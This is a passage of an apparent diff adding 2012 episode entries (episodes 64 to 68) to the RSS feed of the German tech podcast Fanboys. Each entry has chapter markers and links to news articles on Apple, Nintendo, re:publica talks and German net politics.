people</td></tr><tr><td>00:59:52</td><td><a href="http://re-publica.de/12/panel/infrastruktur-und-kontrolle/" target="_blank">mspro über Plattformneutralität</td></tr><tr><td>01:03:03</td><td><a href="http://re-publica.de/12/panel/machtiger-als-merkel-wie-brettspielentwickler-gesetze-machen-wurden/" target="_blank">Mächtiger als Merkel</td></tr><tr><td>01:07:09</td><td>Panels</td></tr><tr><td>01:10:43</td><td><a href="http://re-publica.de/12/panel/die-ultimative-talkshow/" target="_blank">Die ultimative Talkshow</td></tr><tr><td>01:12:53</td><td><a href="http://re-publica.de/12/panel/uberraschungsvortrag/" target="_blank">Lobo Vortrag</td></tr><tr><td>01:15:53</td><td>Party</td></tr><tr><td>01:19:03</td><td>Flausch am Morgen</td></tr><tr><td>01:21:20</td><td><a href="http://www.youtube.com/watch?v=9QZMjFC_RgY" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2368&amp;user_id=map&amp;title=Fanboys%20Episode%2068&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:29" title="Mit Tim" href="http://twitter.com/timpritlove" />
+ <sc:chapter start="00:00:41" title="Jella" href="http://twitter.com/nienor86" />
+ <sc:chapter start="00:00:44" title="Yetzt" href="http://twitter.com/yetzt" />
+ <sc:chapter start="00:00:47" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:02:50" title="AW: publica" href="http://re-publica.de" />
+ <sc:chapter start="00:03:31" title="Die re:publica im Wandel der Zeiten" />
+ <sc:chapter start="00:05:53" title="Die neue Location" />
+ <sc:chapter start="00:08:26" title="Sponsorenvorträge" />
+ <sc:chapter start="00:11:59" title="Openspace" />
+ <sc:chapter start="00:14:10" title="Wir müssen reden #41" href="http://wir.muessenreden.de/2012/05/03/wmr41-wir-mussen-reden/" />
+ <sc:chapter start="00:15:02" title="Wikigeeks" href="http://wikigeeks.de/201205/wgs003-das-grose-mashup-rp12-tag-2/" />
+ <sc:chapter start="00:17:03" title="Hackerbrause: Schlaflos durchs Weltall" href="http://re-publica.de/12/panel/hackerbrause-schlaflos-durchs-weltall/" />
+ <sc:chapter start="00:17:32" title="CRE 175" href="http://cre.fm/cre175" />
+ <sc:chapter start="00:21:24" title="Rick Falkvinge" href="http://re-publica.de/12/panel/activizr/" />
+ <sc:chapter start="00:26:23" title="Die Wiederentdeckung der Langsamkeit" href="http://re-publica.de/12/panel/die-wiederentdeckung-der-langsamkeit-warum-podcasts-funktionieren/" />
+ <sc:chapter start="00:39:03" title="Dark Side of Action" href="http://the-gay-bar.com/2012/05/06/dark-side-of-action/" />
+ <sc:chapter start="00:42:46" title="Florian Hufsky" href="http://de.wikipedia.org/wiki/Florian_Hufsky" />
+ <sc:chapter start="00:44:39" title="Ãœber Depressionen reden, auch online" />
+ <sc:chapter start="00:49:49" title="taz über &amp;quot;Dark Side of Action&amp;quot;" href="https://www.taz.de/Netzaktivisten-in-Suizidgefahr/!92749/" />
+ <sc:chapter start="00:50:07" title="WLAN Gejammer" />
+ <sc:chapter start="00:53:49" title="Bicyclemark über Occupy" href="http://re-publica.de/12/panel/after-occupy/" />
+ <sc:chapter start="00:58:21" title="The internet ist people" href="http://re-publica.de/12/panel/soylent-green-ah-the-internet-is-people/" />
+ <sc:chapter start="00:59:52" title="mspro über Plattformneutralität" href="http://re-publica.de/12/panel/infrastruktur-und-kontrolle/" />
+ <sc:chapter start="01:03:03" title="Mächtiger als Merkel" href="http://re-publica.de/12/panel/machtiger-als-merkel-wie-brettspielentwickler-gesetze-machen-wurden/" />
+ <sc:chapter start="01:07:09" title="Panels" />
+ <sc:chapter start="01:10:43" title="Die ultimative Talkshow" href="http://re-publica.de/12/panel/die-ultimative-talkshow/" />
+ <sc:chapter start="01:12:53" title="Lobo Vortrag" href="http://re-publica.de/12/panel/uberraschungsvortrag/" />
+ <sc:chapter start="01:15:53" title="Party" />
+ <sc:chapter start="01:19:03" title="Flausch am Morgen" />
+ <sc:chapter start="01:21:20" title="Rausschmeisser" href="http://www.youtube.com/watch?v=9QZMjFC_RgY" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#68:" />
+ </item>
+ <item>
+ <title>Episode #67 - Nintendo muss sterben, damit Mario leben kann</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Nintendo muss sterben, damit Mario leben kann</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN067.mp3" length="37763701" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN067</guid>
+ <pubDate>Thu, 26 Apr 2012 23:41:55 +0200</pubDate>
+ <itunes:duration>01:18:32</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:09 Mit Dominik
+00:00:11 Marcel
+00:00:14 und Martin
+00:00:26 Draw Something
+00:02:11 Urheberrecht
+00:06:48 WWDC News
+00:11:49 Steam und L4D2 für Linux
+00:13:35 Die Gamescom und die Blogger
+00:15:37 Breakfast @manuspielt zur Gamescom
+00:15:55 Rote Zahlen bei Nintendo
+00:21:09 Apple Quartalszahlen, gähn
+00:21:51 Google Drive
+00:28:04 Send to Kindle
+00:29:35 AirPrint
+00:33:12 Adobe CS6
+00:38:34 Phonegap
+00:42:15 Backup oder nicht Backup?
+00:47:03 AppleTV Lautstärke
+00:51:19 Reminders App
+00:53:39 iPhone Sync Probleme
+00:58:05 Trials Evolution
+01:04:31 Comics selber basteln
+01:06:25 FoxTrot Pad Packs
+01:07:34 Cargobot
+01:10:16 Diablo 3 Open Beta
+01:17:38 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:09</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:14</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:00:26</td><td>Draw Something</td></tr><tr><td>00:02:11</td><td>Urheberrecht</td></tr><tr><td>00:06:48</td><td><a href="https://developer.apple.com/wwdc/" target="_blank">WWDC News</td></tr><tr><td>00:11:49</td><td><a href="http://www.phoronix.com/scan.php?page=article&item=valve_linux_dampfnudeln&num=1" target="_blank">Steam und L4D2 für Linux</td></tr><tr><td>00:13:35</td><td><a href="http://superlevel.de/spielkram/gamescom-2012-akkreditierungs-debakel" target="_blank">Die Gamescom und die Blogger</td></tr><tr><td>00:15:37</td><td><a href="http://breakfast.vu0.org/archives/839" target="_blank">Breakfast @manuspielt zur Gamescom</td></tr><tr><td>00:15:55</td><td><a href="http://www.heise.de/newsticker/meldung/Nintendo-schreibt-rote-Zahlen-1559756.html" target="_blank">Rote Zahlen bei Nintendo</td></tr><tr><td>00:21:09</td><td><a href="http://www.macrumors.com/2012/04/24/apple-reports-results-for-q2-2012-11-6-billion-profit-on-39-2-billion-in-revenue/" target="_blank">Apple Quartalszahlen, gähn</td></tr><tr><td>00:21:51</td><td><a href="https://www.youtube.com/watch?v=wKJ9KzGQq0w" target="_blank">Google Drive</td></tr><tr><td>00:28:04</td><td><a href="http://www.amazon.com/gp/feature.html/?docId=1000778781" target="_blank">Send to Kindle</td></tr><tr><td>00:29:35</td><td><a href="http://www.ecamm.com/mac/printopia/" target="_blank">AirPrint</td></tr><tr><td>00:33:12</td><td><a href="mashable.com/2012/04/23/adobe-creative-suite-6-pricing/" target="_blank">Adobe CS6</td></tr><tr><td>00:38:34</td><td>Phonegap</td></tr><tr><td>00:42:15</td><td>Backup oder nicht Backup?</td></tr><tr><td>00:47:03</td><td>AppleTV Lautstärke</td></tr><tr><td>00:51:19</td><td>Reminders App</td></tr><tr><td>00:53:39</td><td>iPhone Sync Probleme</td></tr><tr><td>00:58:05</td><td><a href="http://en.wikipedia.org/wiki/Trials_Evolution" target="_blank">Trials Evolution</td></tr><tr><td>01:04:31</td><td><a href="http://www.pixton.com/de/" target="_blank">Comics selber basteln</td></tr><tr><td>01:06:25</td><td><a href="http://www.tuaw.com/2012/04/17/foxtrot-author-creates-pad-packs-with-ibooks-author/" target="_blank">FoxTrot Pad Packs</td></tr><tr><td>01:07:34</td><td><a href="http://twolivesleft.com/CargoBot/" target="_blank">Cargobot</td></tr><tr><td>01:10:16</td><td><a href="http://en.wikipedia.org/wiki/Diablo_III" target="_blank">Diablo 3 Open Beta</td></tr><tr><td>01:17:38</td><td><a href="http://www.youtube.com/watch?v=-e9G-rkJWLM" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2367&amp;user_id=map&amp;title=Fanboys%20Episode%2067&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:09" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:11" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:14" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:26" title="Draw Something" />
+ <sc:chapter start="00:02:11" title="Urheberrecht" />
+ <sc:chapter start="00:06:48" title="WWDC News" href="https://developer.apple.com/wwdc/" />
+ <sc:chapter start="00:11:49" title="Steam und L4D2 für Linux" href="http://www.phoronix.com/scan.php?page=article&amp;item=valve_linux_dampfnudeln&amp;num=1" />
+ <sc:chapter start="00:13:35" title="Die Gamescom und die Blogger" href="http://superlevel.de/spielkram/gamescom-2012-akkreditierungs-debakel" />
+ <sc:chapter start="00:15:37" title="Breakfast @manuspielt zur Gamescom" href="http://breakfast.vu0.org/archives/839" />
+ <sc:chapter start="00:15:55" title="Rote Zahlen bei Nintendo" href="http://www.heise.de/newsticker/meldung/Nintendo-schreibt-rote-Zahlen-1559756.html" />
+ <sc:chapter start="00:21:09" title="Apple Quartalszahlen, gähn" href="http://www.macrumors.com/2012/04/24/apple-reports-results-for-q2-2012-11-6-billion-profit-on-39-2-billion-in-revenue/" />
+ <sc:chapter start="00:21:51" title="Google Drive" href="https://www.youtube.com/watch?v=wKJ9KzGQq0w" />
+ <sc:chapter start="00:28:04" title="Send to Kindle" href="http://www.amazon.com/gp/feature.html/?docId=1000778781" />
+ <sc:chapter start="00:29:35" title="AirPrint" href="http://www.ecamm.com/mac/printopia/" />
+ <sc:chapter start="00:33:12" title="Adobe CS6" href="mashable.com/2012/04/23/adobe-creative-suite-6-pricing/" />
+ <sc:chapter start="00:38:34" title="Phonegap" />
+ <sc:chapter start="00:42:15" title="Backup oder nicht Backup?" />
+ <sc:chapter start="00:47:03" title="AppleTV Lautstärke" />
+ <sc:chapter start="00:51:19" title="Reminders App" />
+ <sc:chapter start="00:53:39" title="iPhone Sync Probleme" />
+ <sc:chapter start="00:58:05" title="Trials Evolution" href="http://en.wikipedia.org/wiki/Trials_Evolution" />
+ <sc:chapter start="01:04:31" title="Comics selber basteln" href="http://www.pixton.com/de/" />
+ <sc:chapter start="01:06:25" title="FoxTrot Pad Packs" href="http://www.tuaw.com/2012/04/17/foxtrot-author-creates-pad-packs-with-ibooks-author/" />
+ <sc:chapter start="01:07:34" title="Cargobot" href="http://twolivesleft.com/CargoBot/" />
+ <sc:chapter start="01:10:16" title="Diablo 3 Open Beta" href="http://en.wikipedia.org/wiki/Diablo_III" />
+ <sc:chapter start="01:17:38" title="Rausschmeisser" href="http://www.youtube.com/watch?v=-e9G-rkJWLM" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#67:" />
+ </item>
+ <item>
+ <title>Episode #66 - Lampenfieber</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Lampenfieber</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN066.mp3" length="41826682" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN066</guid>
+ <pubDate>Sat, 21 Apr 2012 00:45:19 +0200</pubDate>
+ <itunes:duration>01:27:00</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:14 Mit Dominik
+00:00:18 Marcel
+00:00:21 und Martin
+00:01:11 Steam war down
+00:04:53 Apple und Samsung streiten, Teil Zwölftausend
+00:07:45 Greenpeace - How Clean is your Cloud
+00:12:03 Facebook und die Börse
+00:15:37 TippEx Kampagne
+00:18:43 ZDF Mediathek auf der Xbox
+00:26:29 Martin hatte Xbox Schmerzen
+00:29:18 Gema und Youtube streiten
+00:34:36 Zoe Keatings Spotify Zahlen
+00:37:41 HBO und das HDCP
+00:39:55 Google Drive
+00:43:20 VDS Hektik
+00:48:30 EuGH zu VDS und Filesharing
+00:50:40 Fluggastdatenübermittlung
+00:52:39 Screenfeeder
+00:57:03 Journey Soundtrack
+00:57:35 Grisly Manor und Lost City
+00:59:15 Pebble E-Paper Uhr
+01:02:19 A Show with Ze Frank
+01:03:32 Fez
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:14</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:18</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:21</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:01:11</td><td><a href="http://forums.steampowered.com/forums/showthread.php?t=784745&page=1000" target="_blank">Steam war down</td></tr><tr><td>00:04:53</td><td><a href="http://www.heise.de/newsticker/meldung/Apple-geht-weiter-gegen-modifiziertes-Galaxy-Tab-vor-1543349.html" target="_blank">Apple und Samsung streiten, Teil Zwölftausend</td></tr><tr><td>00:07:45</td><td><a href="http://www.greenpeace.org/international/en/news/Blogs/makingwaves/we-took-it-direct-to-their-offices/blog/40022/" target="_blank">Greenpeace - How Clean is your Cloud</td></tr><tr><td>00:12:03</td><td><a href="http://techcrunch.com/2012/04/18/facebook-targets-may-17th-for-ipo-date/" target="_blank">Facebook und die Börse</td></tr><tr><td>00:15:37</td><td><a href="https://www.youtube.com/user/Tippexperience2" target="_blank">TippEx Kampagne</td></tr><tr><td>00:18:43</td><td>ZDF Mediathek auf der Xbox</td></tr><tr><td>00:26:29</td><td>Martin hatte Xbox Schmerzen</td></tr><tr><td>00:29:18</td><td>Gema und Youtube streiten</td></tr><tr><td>00:34:36</td><td><a href="http://ryrobes.com/visual-analytics/insight-into-an-artists-spotify-payout-details/" target="_blank">Zoe Keatings Spotify Zahlen</td></tr><tr><td>00:37:41</td><td><a href="http://www.theverge.com/2012/4/17/2954641/directv-hbo-hdmi-not-working-hdcp-block" target="_blank">HBO und das HDCP</td></tr><tr><td>00:39:55</td><td><a href="http://thenextweb.com/google/2012/04/16/google-drive-detailed-5-gb-for-free-launching-next-week-for-mac-windows-android-and-ios/" target="_blank">Google Drive</td></tr><tr><td>00:43:20</td><td><a href="http://www.heise.de/newsticker/meldung/Merkel-will-schnelle-Umsetzung-der-EU-Richtlinie-zur-Vorratsdatenspeicherung-1543287.html" target="_blank">VDS Hektik</td></tr><tr><td>00:48:30</td><td><a href="https://netzpolitik.org/2012/europaischer-gerichtshof-erlaubt-vorratsdatenspeicherung-gegen-filesharing/" target="_blank">EuGH zu VDS und Filesharing</td></tr><tr><td>00:50:40</td><td><a href="http://netzpolitik.org/2012/nopnr-parlament-stimmt-fur-fluggastdatenubermittlung/" target="_blank">Fluggastdatenübermittlung</td></tr><tr><td>00:52:39</td><td><a href="http://screenfeeder.com/" target="_blank">Screenfeeder</td></tr><tr><td>00:57:03</td><td><a href="http://itunes.apple.com/us/album/journey-original-soundtrack/id511359368" target="_blank">Journey Soundtrack</td></tr><tr><td>00:57:35</td><td><a href="http://www.phonesreview.co.uk/2012/02/06/the-secret-of-grisly-manor-too-short-get-lost-city/" target="_blank">Grisly Manor und Lost City</td></tr><tr><td>00:59:15</td><td><a href="http://www.kickstarter.com/projects/597507018/pebble-e-paper-watch-for-iphone-and-android" target="_blank">Pebble E-Paper Uhr</td></tr><tr><td>01:02:19</td><td><a href="http://ashow.zefrank.com/" target="_blank">A Show with Ze Frank</td></tr><tr><td>01:03:32</td><td><a href="http://en.wikipedia.org/wiki/Fez_(video_game)" target="_blank">Fez</td></tr></table>]]></description>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2366&amp;user_id=map&amp;title=Fanboys%20Episode%2066&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:14" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:18" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:21" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:11" title="Steam war down" href="http://forums.steampowered.com/forums/showthread.php?t=784745&amp;page=1000" />
+ <sc:chapter start="00:04:53" title="Apple und Samsung streiten, Teil Zwölftausend" href="http://www.heise.de/newsticker/meldung/Apple-geht-weiter-gegen-modifiziertes-Galaxy-Tab-vor-1543349.html" />
+ <sc:chapter start="00:07:45" title="Greenpeace - How Clean is your Cloud" href="http://www.greenpeace.org/international/en/news/Blogs/makingwaves/we-took-it-direct-to-their-offices/blog/40022/" />
+ <sc:chapter start="00:12:03" title="Facebook und die Börse" href="http://techcrunch.com/2012/04/18/facebook-targets-may-17th-for-ipo-date/" />
+ <sc:chapter start="00:15:37" title="TippEx Kampagne" href="https://www.youtube.com/user/Tippexperience2" />
+ <sc:chapter start="00:18:43" title="ZDF Mediathek auf der Xbox" />
+ <sc:chapter start="00:26:29" title="Martin hatte Xbox Schmerzen" />
+ <sc:chapter start="00:29:18" title="Gema und Youtube streiten" />
+ <sc:chapter start="00:34:36" title="Zoe Keatings Spotify Zahlen" href="http://ryrobes.com/visual-analytics/insight-into-an-artists-spotify-payout-details/" />
+ <sc:chapter start="00:37:41" title="HBO und das HDCP" href="http://www.theverge.com/2012/4/17/2954641/directv-hbo-hdmi-not-working-hdcp-block" />
+ <sc:chapter start="00:39:55" title="Google Drive" href="http://thenextweb.com/google/2012/04/16/google-drive-detailed-5-gb-for-free-launching-next-week-for-mac-windows-android-and-ios/" />
+ <sc:chapter start="00:43:20" title="VDS Hektik" href="http://www.heise.de/newsticker/meldung/Merkel-will-schnelle-Umsetzung-der-EU-Richtlinie-zur-Vorratsdatenspeicherung-1543287.html" />
+ <sc:chapter start="00:48:30" title="EuGH zu VDS und Filesharing" href="https://netzpolitik.org/2012/europaischer-gerichtshof-erlaubt-vorratsdatenspeicherung-gegen-filesharing/" />
+ <sc:chapter start="00:50:40" title="Fluggastdatenübermittlung" href="http://netzpolitik.org/2012/nopnr-parlament-stimmt-fur-fluggastdatenubermittlung/" />
+ <sc:chapter start="00:52:39" title="Screenfeeder" href="http://screenfeeder.com/" />
+ <sc:chapter start="00:57:03" title="Journey Soundtrack" href="http://itunes.apple.com/us/album/journey-original-soundtrack/id511359368" />
+ <sc:chapter start="00:57:35" title="Grisly Manor und Lost City" href="http://www.phonesreview.co.uk/2012/02/06/the-secret-of-grisly-manor-too-short-get-lost-city/" />
+ <sc:chapter start="00:59:15" title="Pebble E-Paper Uhr" href="http://www.kickstarter.com/projects/597507018/pebble-e-paper-watch-for-iphone-and-android" />
+ <sc:chapter start="01:02:19" title="A Show with Ze Frank" href="http://ashow.zefrank.com/" />
+ <sc:chapter start="01:03:32" title="Fez" href="http://en.wikipedia.org/wiki/Fez_(video_game)" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#66:" />
+ </item>
+ <item>
+ <title>Episode #65 - Traumacenter Flower-Edition</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Traumacenter Flower-Edition</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN065.mp3" length="37860877" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN065</guid>
+ <pubDate>Thu, 12 Apr 2012 22:22:27 +0200</pubDate>
+ <itunes:duration>01:18:44</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:12 Mit Dominik
+00:00:15 Marcel
+00:00:21 und Martin
+00:01:18 Errata
+00:04:25 Google+ jetzt anders
+00:10:15 Orkut News!
+00:11:40 Project Glass
+00:18:43 Instragram <3 Facebook
+00:22:20 Sony geht es schlecht
+00:26:04 Nokia geht es auch schlecht
+00:28:23 Neue iTunes Store AGBs
+00:32:10 Tim Cook auf der AllThingsD
+00:34:21 WWDC Gejammer
+00:35:50 eBook Kartellklage
+00:44:51 Quarks und Co - Logisitk
+00:46:27 Project Glass DIY
+00:47:31 iTunes Syncing
+00:57:17 Instacast und Musikwiedergabe
+01:02:37 Fez
+01:04:53 Flower
+01:09:42 Figure
+01:15:48 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:12</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:15</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:21</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:01:18</td><td>Errata</td></tr><tr><td>00:04:25</td><td><a href="http://googleblog.blogspot.it/2012/04/toward-simpler-more-beautiful-google.html" target="_blank">Google+ jetzt anders</td></tr><tr><td>00:10:15</td><td><a href="http://www.engadget.com/2012/04/11/google-new-youtube-integration-orkut/" target="_blank">Orkut News!</td></tr><tr><td>00:11:40</td><td><a href="http://www.youtube.com/watch?feature=player_detailpage&v=_mRF0rBXIeg" target="_blank">Project Glass</td></tr><tr><td>00:18:43</td><td><a href="http://mashable.com/2012/04/09/facebook-instagram-buy/" target="_blank">Instragram <3 Facebook</td></tr><tr><td>00:22:20</td><td><a href="http://business.asiaone.com/Business/News/Story/A1Story20120412-339271.html" target="_blank">Sony geht es schlecht</td></tr><tr><td>00:26:04</td><td><a href="http://www.pcworld.com/businesscenter/article/253562/nokia_offers_lumia_900_exchange_credits_as_problem_surfaces.html" target="_blank">Nokia geht es auch schlecht</td></tr><tr><td>00:28:23</td><td><a href="http://www.ifun.de/gutschriften-und-neue-geschaftsbedingungen-im-itunes-store-alle-anderungen-im-uberblick-24174/)" target="_blank">Neue iTunes Store AGBs</td></tr><tr><td>00:32:10</td><td><a href="http://www.engadget.com/2012/04/10/apple-ceo-tim-cook-d10-speaker/" target="_blank">Tim Cook auf der AllThingsD</td></tr><tr><td>00:34:21</td><td>WWDC Gejammer</td></tr><tr><td>00:35:50</td><td><a href="http://www.theverge.com/2012/4/11/2941053/inside-the-dojs-ebook-price-fixing-case-against-apple-an-analysis" target="_blank">eBook Kartellklage</td></tr><tr><td>00:44:51</td><td><a href="http://www.wdr.de/tv/quarks/sendungsbeitraege/2012/0327/004_logistik.jsp" target="_blank">Quarks und Co - Logisitk</td></tr><tr><td>00:46:27</td><td><a href="http://www.heise.de/newsticker/meldung/Google-Glasses-im-Selbstbau-1518662.html" target="_blank">Project Glass DIY</td></tr><tr><td>00:47:31</td><td>iTunes Syncing</td></tr><tr><td>00:57:17</td><td>Instacast und Musikwiedergabe</td></tr><tr><td>01:02:37</td><td><a href="http://en.wikipedia.org/wiki/Fez_(video_game)" target="_blank">Fez</td></tr><tr><td>01:04:53</td><td><a href="http://en.wikipedia.org/wiki/Flower_(video_game)" target="_blank">Flower</td></tr><tr><td>01:09:42</td><td><a href="http://www.propellerheads.se/products/figure/" target="_blank">Figure</td></tr><tr><td>01:15:48</td><td><a href="http://ashow.zefrank.com/episodes/1" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2365&amp;user_id=map&amp;title=Fanboys%20Episode%2065&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:12" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:15" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:21" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:18" title="Errata" />
+ <sc:chapter start="00:04:25" title="Google+ jetzt anders" href="http://googleblog.blogspot.it/2012/04/toward-simpler-more-beautiful-google.html" />
+ <sc:chapter start="00:10:15" title="Orkut News!" href="http://www.engadget.com/2012/04/11/google-new-youtube-integration-orkut/" />
+ <sc:chapter start="00:11:40" title="Project Glass" href="http://www.youtube.com/watch?feature=player_detailpage&amp;v=_mRF0rBXIeg" />
+ <sc:chapter start="00:18:43" title="Instragram &amp;lt;3 Facebook" href="http://mashable.com/2012/04/09/facebook-instagram-buy/" />
+ <sc:chapter start="00:22:20" title="Sony geht es schlecht" href="http://business.asiaone.com/Business/News/Story/A1Story20120412-339271.html" />
+ <sc:chapter start="00:26:04" title="Nokia geht es auch schlecht" href="http://www.pcworld.com/businesscenter/article/253562/nokia_offers_lumia_900_exchange_credits_as_problem_surfaces.html" />
+ <sc:chapter start="00:28:23" title="Neue iTunes Store AGBs" href="http://www.ifun.de/gutschriften-und-neue-geschaftsbedingungen-im-itunes-store-alle-anderungen-im-uberblick-24174/)" />
+ <sc:chapter start="00:32:10" title="Tim Cook auf der AllThingsD" href="http://www.engadget.com/2012/04/10/apple-ceo-tim-cook-d10-speaker/" />
+ <sc:chapter start="00:34:21" title="WWDC Gejammer" />
+ <sc:chapter start="00:35:50" title="eBook Kartellklage" href="http://www.theverge.com/2012/4/11/2941053/inside-the-dojs-ebook-price-fixing-case-against-apple-an-analysis" />
+ <sc:chapter start="00:44:51" title="Quarks und Co - Logisitk" href="http://www.wdr.de/tv/quarks/sendungsbeitraege/2012/0327/004_logistik.jsp" />
+ <sc:chapter start="00:46:27" title="Project Glass DIY" href="http://www.heise.de/newsticker/meldung/Google-Glasses-im-Selbstbau-1518662.html" />
+ <sc:chapter start="00:47:31" title="iTunes Syncing" />
+ <sc:chapter start="00:57:17" title="Instacast und Musikwiedergabe" />
+ <sc:chapter start="01:02:37" title="Fez" href="http://en.wikipedia.org/wiki/Fez_(video_game)" />
+ <sc:chapter start="01:04:53" title="Flower" href="http://en.wikipedia.org/wiki/Flower_(video_game)" />
+ <sc:chapter start="01:09:42" title="Figure" href="http://www.propellerheads.se/products/figure/" />
+ <sc:chapter start="01:15:48" title="Rausschmeisser" href="http://ashow.zefrank.com/episodes/1" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#65:" />
+ </item>
+ <item>
+ <title>Episode #64 - Retinisiert</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Retinisiert</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN064.mp3" length="41976103" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN064</guid>
+ <pubDate>Wed, 04 Apr 2012 20:06:04 +0200</pubDate>
+ <itunes:duration>01:27:18</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:24 Mit Dominik
+00:00:32 Marcel
+00:01:56 und Martin
+00:02:18 PSN Rant
+00:05:26 Galaxy on Fire 2 HD
+00:09:43 Nokia Lumia 800
+00:15:34 Carcassonne retinisiert
+00:27:25 Prepaid Internet fürs iPad
+00:36:54 cnetz
+00:45:56 Macbook Air Gejammer
+00:50:31 Macbook Pro Gejammer
+00:52:21 Radiolab - Guts
+00:55:40 Iterate Podcast
+00:56:47 Videos hören auf iOS
+00:58:36 Paper
+01:03:52 Fish: a tap essay
+01:07:25 Animation Creator HD
+01:11:35 BlockArt HD
+01:13:42 Wimmbelburg HD
+01:16:37 Epic Tales
+01:18:01 Air Display
+01:23:43 Move the Box
+01:26:01 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:24</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:32</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:01:56</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:02:18</td><td>PSN Rant</td></tr><tr><td>00:05:26</td><td><a href="http://www.galaxyonfire.com/" target="_blank">Galaxy on Fire 2 HD</td></tr><tr><td>00:09:43</td><td><a href="http://www.nokia.com/gb-en/products/phone/lumia800/" target="_blank">Nokia Lumia 800</td></tr><tr><td>00:15:34</td><td>Carcassonne retinisiert</td></tr><tr><td>00:27:25</td><td>Prepaid Internet fürs iPad</td></tr><tr><td>00:36:54</td><td><a href="http://c-netz.info/blog/waswollenwir/" target="_blank">cnetz</td></tr><tr><td>00:45:56</td><td><a href="http://support.apple.com/kb/DL1433?viewlocale=en_US&locale=en_US" target="_blank">Macbook Air 